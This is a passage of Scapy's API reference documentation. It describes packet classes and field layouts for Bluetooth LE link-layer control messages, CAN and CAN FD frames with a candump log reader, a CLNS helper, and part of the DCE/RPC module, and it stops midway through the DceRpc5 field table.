                    Fig. LL_SLAVE_FEATURE_REQ                     


LL_SLAVE_FEATURE_REQ fields






	feature_set

	BTLEFeatureField

	<Flag 0 ()>















	
class scapy.layers.bluetooth4LE.LL_START_ENC_REQ(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L501-L503]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.layers.bluetooth4LE.LL_START_ENC_RSP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L506-L507]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth4LE.LL_SUBRATE_IND(_pkt, /, *, subrate_factor=0, subrate_base_event=0, latency=0, continuation_number=0, timeout=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L815-L823]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SUBRATE FACTOR        |       SUBRATE BASE EVENT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LATENCY            |      CONTINUATION NUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LL_SUBRATE_IND                        


LL_SUBRATE_IND fields






	subrate_factor

	LEShortField

	0



	subrate_base_event

	LEShortField

	0



	latency

	LEShortField

	0



	continuation_number

	LEShortField

	0



	timeout

	LEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_SUBRATE_REQ(_pkt, /, *, subrate_factor_min=0, subrate_factor_max=0, max_latency=0, continuation_number=0, timeout=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L804-L812]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       SUBRATE FACTOR MIN      |       SUBRATE FACTOR MAX      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX LATENCY          |      CONTINUATION NUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LL_SUBRATE_REQ                        


LL_SUBRATE_REQ fields






	subrate_factor_min

	LEShortField

	0



	subrate_factor_max

	LEShortField

	0



	max_latency

	LEShortField

	0



	continuation_number

	LEShortField

	0



	timeout

	LEShortField

	0















	
class scapy.layers.bluetooth4LE.LL_TERMINATE_IND(_pkt, /, *, code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L476-L480]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |
+-+-+-+-+-+-+-+-+

                      Fig. LL_TERMINATE_IND                       


LL_TERMINATE_IND fields






	code

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_UNKNOWN_RSP(_pkt, /, *, code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L510-L514]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |
+-+-+-+-+-+-+-+-+

                       Fig. LL_UNKNOWN_RSP                        


LL_UNKNOWN_RSP fields






	code

	XByteField

	0















	
class scapy.layers.bluetooth4LE.LL_VERSION_IND(_pkt, /, *, version=8, company=0, subversion=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth4LE.py#L539-L545]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |            COMPANY            |   SUBVERSION  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. LL_VERSION_IND                        


LL_VERSION_IND fields






	version

	ByteEnumField

	8



	company

	LEShortEnumField

	0



	subversion

	XShortField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.can

A minimal implementation of the CANopen protocol, based on
Wireshark dissectors. See https://wiki.wireshark.org/CANopen


	
class scapy.layers.can.BEFloatSignalField(name: str, default: int | float, start: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L430-L435]

	Bases: SignalField






	
class scapy.layers.can.BESignedSignalField(name: str, default: int | float, start: int, size: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L414-L419]

	Bases: SignalField






	
class scapy.layers.can.BEUnsignedSignalField(name: str, default: int | float, start: int, size: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L406-L411]

	Bases: SignalField






	
class scapy.layers.can.CAN(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L64-L168]

	Bases: Packet

A implementation of CAN messages.

Dissection of CAN messages from Wireshark captures and Linux PF_CAN sockets
are supported from protocol specification.
See https://wiki.wireshark.org/CANopen for further information on
the Wireshark dissector. Linux PF_CAN and Wireshark use different
endianness for the first 32 bit of a CAN message. This dissector can be
configured for both use cases.


	Configuration swap-bytes:
	
	Wireshark dissection:
	>>> conf.contribs['CAN']['swap-bytes'] = False







	PF_CAN Socket dissection:
	>>> conf.contribs['CAN']['swap-bytes'] = True













Configuration remove-padding:
Linux PF_CAN Sockets always return 16 bytes per CAN frame receive.
This implicates that CAN frames get padded from the Linux PF_CAN socket
with zeros up to 8 bytes of data. The real length from the CAN frame on
the wire is given by the length field. To obtain only the CAN frame from
the wire, this additional padding has to be removed. Nevertheless, for
corner cases, it might be useful to also get the padding. This can be
configured through the remove-padding configuration.


	Truncate CAN frame based on length field:
	>>> conf.contribs['CAN']['remove-padding'] = True







	Show entire CAN frame received from socket:
	>>> conf.contribs['CAN']['remove-padding'] = False










	
aliastypes

	




	
classmethod dispatch_hook(_pkt: bytes | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L107-L120]

	




	
extract_padding(p: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L163-L168]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. CAN                             


CAN fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	FieldLenField

	None



	reserved

	ThreeBytesField

	0



	data

	StrLenField

	b''











	
static inv_endianness(pkt: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L122-L135]

	Invert the order of the first four bytes of a CAN packet

This method is meant to be used specifically to convert a CAN packet
between the pcap format and the SocketCAN format


	Parameters:

	pkt – bytes str of the CAN packet



	Returns:

	bytes str with the first four bytes swapped










	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L150-L161]

	Implements the swap-bytes functionality for Packet build.

This is based on a copy of the Packet.self_build default method.
The goal is to affect only the CAN layer data and keep
under layers (e.g CookedLinux) unchanged






	
post_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L145-L148]

	




	
pre_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L137-L143]

	Implements the swap-bytes functionality when dissecting










	
class scapy.layers.can.CANFD(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 4 (fd_frame)>, reserved=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L175-L210]

	Bases: CAN

This class is used for distinction of CAN FD packets.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. CANFD                            


CANFD fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	FieldLenField

	None



	fd_flags

	FlagsField

	<Flag 4 (fd_frame)>



	reserved

	ShortField

	0



	data

	StrLenField

	b''











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L192-L210]

	








	
class scapy.layers.can.CandumpReader(filename: str, interface: List[str] | str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L530-L731]

	Bases: object

A stateful candump reader. Each packet is returned as a CAN packet.

Creates a CandumpReader object


	Parameters:

	
	filename – filename of a candump logfile, compressed or
uncompressed, or a already opened file object.


	interface – Name of a interface, if candump contains messages
of multiple interfaces and only one messages from a
specific interface are wanted.









	
close() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L713-L716]

	Emulation of SuperSocket






	
property closed: bool

	




	
dispatch(callback: Callable[[Packet], None]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L664-L673]

	Call the specified callback routine for each packet read

This is just a convenience function for the main loop
that allows for easy launching of packet processing in a
thread.






	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L703-L706]

	Emulation of SuperSocket






	
next() → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L590-L603]

	Implements the iterator protocol on a set of packets


	Returns:

	Next readable CAN Packet from the specified file










	
nonblocking_socket = True

	




	
static open(filename: IO[bytes] | str) → Tuple[str, IO[bytes] | GzipFile][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L558-L588]

	Open function to handle three types of input data.

If filename of a regular candump log file is provided, this function
opens the file and returns the file object.
If filename of a gzip compressed candump log file is provided, the
required gzip open function is used to obtain the necessary file
object, which gets returned.
If a fileobject or ByteIO is provided, the filename is gathered for
internal use. No further steps are performed on this object.


	Parameters:

	filename – Can be a string, specifying a candump log file or a
gzip compressed candump log file. Also already opened
file objects are allowed.



	Returns:

	A opened file object for further use.










	
read_all(count: int = -1) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L675-L693]

	Read a specific number or all packets from a candump file.


	Parameters:

	count – Specify a specific number of packets to be read.
All packets can be read by count=-1.



	Returns:

	A PacketList object containing read CAN messages










	
read_packet(size: int = 16) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L606-L662]

	Read a packet from the specified file.

This function will raise EOFError when no more packets are available.


	Parameters:

	size – Not used. Just here to follow the function signature for
SuperSocket emulation.



	Returns:

	A single packet read from the file or None if filters apply










	
recv(size: int = 16) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L695-L701]

	Emulation of SuperSocket






	
static select(sockets: List[SuperSocket], remain: int | None = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L726-L731]

	Emulation of SuperSocket










	
class scapy.layers.can.LEFloatSignalField(name: str, default: int | float, start: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L422-L427]

	Bases: SignalField






	
class scapy.layers.can.LESignedSignalField(name: str, default: int | float, start: int, size: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L398-L403]

	Bases: SignalField






	
class scapy.layers.can.LEUnsignedSignalField(name: str, default: int | float, start: int, size: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L390-L395]

	Bases: SignalField






	
class scapy.layers.can.SignalField(name: str, default: int | float, start: int, size: int, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3, fmt: str = 'B')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L216-L387]

	Bases: ScalingField

SignalField is a base class for signal data, usually transmitted from
CAN messages in automotive applications. Most vehicle manufacturers
describe their vehicle internal signals by so called data base CAN (DBC)
files. All necessary functions to easily create Scapy dissectors similar
to signal descriptions from DBC files are provided by this base class.

SignalField instances should only be used together with SignalPacket
classes since SignalPackets enforce length checks for CAN messages.


	
addfield(pkt: Packet, s: bytes, val: int | float | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L296-L329]

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, int | float][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L331-L366]

	




	
i2len(pkt: Packet, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L385-L387]

	




	
randval() → RandBinFloat | RandFloat[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L368-L383]

	




	
size

	




	
start

	








	
class scapy.layers.can.SignalHeader(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 0 ()>, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L471-L513]

	Bases: CAN

Special implementation of a CAN Packet to allow dynamic binding.

This class can be provided to CANSockets as basecls.

Example

>>> class floatSignals(SignalPacket):
>>>     fields_desc = [
>>>         LEFloatSignalField("floatSignal2", default=0, start=32),
>>>         BEFloatSignalField("floatSignal1", default=0, start=7)]
>>>
>>> bind_layers(SignalHeader, floatSignals, identifier=0x321)
>>>
>>> dbc_sock = CANSocket("can0", basecls=SignalHeader)





All CAN messages received from this dbc_sock CANSocket will be interpreted
as SignalHeader. Through Scapys bind_layers mechanism, all CAN messages
with CAN identifier 0x321 will interpret the payload bytes of these
CAN messages as floatSignals packet.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt: bytes | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L503-L509]

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L511-L513]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SignalHeader                         


SignalHeader fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	LenField

	None



	fd_flags

	FlagsField

	<Flag 0 ()>



	reserved

	ShortField

	0















	
class scapy.layers.can.SignalPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L438-L468]

	Bases: Packet

Special implementation of Packet.

This class enforces the correct wirelen of a CAN message for
signal transmitting in automotive applications.
Furthermore, the dissection order of SignalFields in fields_desc is
deduced by the start index of a field.


	
aliastypes

	




	
post_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L456-L468]

	SignalFields can be dissected on packets with unordered fields.

The order of SignalFields is defined from the start parameter.
After a build, the consumed bytes of the length of all SignalFields
have to be removed from the SignalPacket.






	
pre_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L447-L454]

	








	
scapy.layers.can.rdcandump(filename: str, count: int = -1, interface: str | None = None) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/can.py#L516-L527]

	Read a candump log file and return a packet list.


	Parameters:

	
	filename – Filename of the file to read from.
Also gzip files are accepted.


	count – Read only <count> packets. Specify -1 to read all packets.


	interface – Return only packets from a specified interface






	Returns:

	A PacketList object containing the read files












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.clns


CLNS Extension


	copyright:

	2014, 2015 BENOCS GmbH, Berlin (Germany)



	author:

	Marcel Patzlaff, mpatzlaff@benocs.com



	description:

	This module provides a registration function and a generic PDU
for OSI Connectionless-mode Network Services (such as IS-IS).







	
scapy.layers.clns.register_cln_protocol(nlpid, cln_protocol_class)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/clns.py#L63-L73]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dcerpc

DCE/RPC
Distributed Computing Environment / Remote Procedure Calls

Based on [C706] - aka DCE/RPC 1.1
https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf

And on [MS-RPCE]
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15


Note

Please read the documentation over
DCE/RPC [https://scapy.readthedocs.io/en/latest/layers/dcerpc.html]




	
class scapy.layers.dcerpc.ComInterface(name, uuid, opnums)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L1253-L1260]

	Bases: object






	
class scapy.layers.dcerpc.CommonAuthVerifier(_pkt, /, *, auth_type=0, auth_level=0, auth_pad_length=None, auth_reserved=0, auth_context_id=0, auth_value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L411-L557]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L556-L557]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   AUTH TYPE   |   AUTH LEVEL  |AUTH PAD LENGTH| AUTH RESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        AUTH CONTEXT ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           AUTH VALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CommonAuthVerifier                      


CommonAuthVerifier fields






	auth_type

	ByteEnumField

	0



	auth_level

	ByteEnumField

	0



	auth_pad_length

	ByteField

	None



	auth_reserved

	ByteField

	0



	auth_context_id

	XLEIntField

	0



	auth_value

	MultipleTypeField (PacketLenField, PacketLenField, PacketLenField, PacketLenField, PacketLenField, PacketLenField, PacketLenField, PacketLenField, PacketLenField)

	None











	
is_protected()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L542-L547]

	




	
is_ssp()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L549-L554]

	








	
class scapy.layers.dcerpc.DCERPC_Transport(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L179-L182]

	Bases: IntEnum


	
NCACN_IP_TCP = 1

	




	
NCACN_NP = 2

	








	
scapy.layers.dcerpc.DCE_C_AUTHN_LEVEL[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L395-L402]

	alias of RPC_C_AUTHN_LEVEL






	
class scapy.layers.dcerpc.DceRpc(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L202-L213]

	Bases: Packet

DCE/RPC packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L205-L213]

	








	
class scapy.layers.dcerpc.DceRpc4(_pkt, /, *, rpc_vers=4, ptype=0, flags1=<Flag 0 ()>, flags2=<Flag 0 ()>, endian=1, encoding=0, float=0, reserved1=0, serial_hi=0, object=None, if_id=None, act_id=None, server_boot=0, if_vers=1, seqnum=0, opnum=0, ihint=65535, ahint=65535, len=None, fragnum=0, auth_proto=0, serial_lo=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L238-L270]

	Bases: DceRpc

DCE/RPC v4 ‘connection-less’ packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RPC VERS   |     PTYPE     |     FLAGS1    |     FLAGS2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ENDIAN|ENCODIN|     FLOAT     |   RESERVED1   |   SERIAL HI   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OBJECT                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             IF ID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ACT ID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SERVER BOOT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IF VERS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPNUM             |             IHINT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             AHINT             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FRAGNUM            |   AUTH PROTO  |   SERIAL LO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DceRpc4                           


DceRpc4 fields






	rpc_vers

	ByteEnumField

	4



	ptype

	ByteEnumField

	0



	flags1

	FlagsField

	<Flag 0 ()>



	flags2

	FlagsField

	<Flag 0 ()>



	endian

	BitEnumField

	1



	encoding

	BitEnumField

	0



	float

	ByteEnumField

	0



	reserved1

	ByteField

	0



	serial_hi

	XByteField

	0



	object

	_EField

	None



	if_id

	_EField

	None



	act_id

	_EField

	None



	server_boot

	_EField

	0



	if_vers

	_EField

	1



	seqnum

	_EField

	0



	opnum

	_EField

	0



	ihint

	_EField

	65535



	ahint

	_EField

	65535



	len

	_EField

	None



	fragnum

	_EField

	0



	auth_proto

	ByteEnumField

	0



	serial_lo

	XByteField

	0











	
payload_guess

	Possible sublayers:
DceRpc4Payload










	
class scapy.layers.dcerpc.DceRpc4Payload(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2991-L3009]

	Bases: Packet

Dummy class which use the dispatch_hook to find the payload class


	
aliastypes

	




	
classmethod dispatch_hook(_pkt, _underlayer=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L2996-L3003]

	dispatch_hook to choose among different registered payloads






	
classmethod register_possible_payload(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L3005-L3009]

	Method to call from possible DCE/RPC endpoint to register it as
possible payload










	
class scapy.layers.dcerpc.DceRpc5(_pkt, /, *, rpc_vers=5, rpc_vers_minor=0, ptype=0, pfc_flags=None, endian=1, encoding=0, float=0, reserved1=0, reserved2=0, frag_len=None, auth_len=None, call_id=None, auth_verifier=None, auth_padding=None, vt_trailer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L768-L900]

	Bases: DceRpc

DCE/RPC v5 ‘connection-oriented’ packet


	
aliastypes

	




	
answers(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L881-L882]

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L839-L845]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dcerpc.py#L847-L852]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RPC VERS   | RPC VERS MINOR|     PTYPE     |   PFC FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ENDIAN|ENCODIN|     FLOAT     |   RESERVED1   |   RESERVED2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FRAG LEN           |            AUTH LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CALL ID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTH VERIFIER         |          AUTH PADDING         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VT TRAILER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DceRpc5                           


DceRpc5 fields






	rpc_vers

	ByteEnumField

	5



	rpc_vers_minor

	ByteField

	0



	ptype

	ByteEnumField

	0



	pfc_flags

	MultipleTypeField (FlagsField, FlagsField)

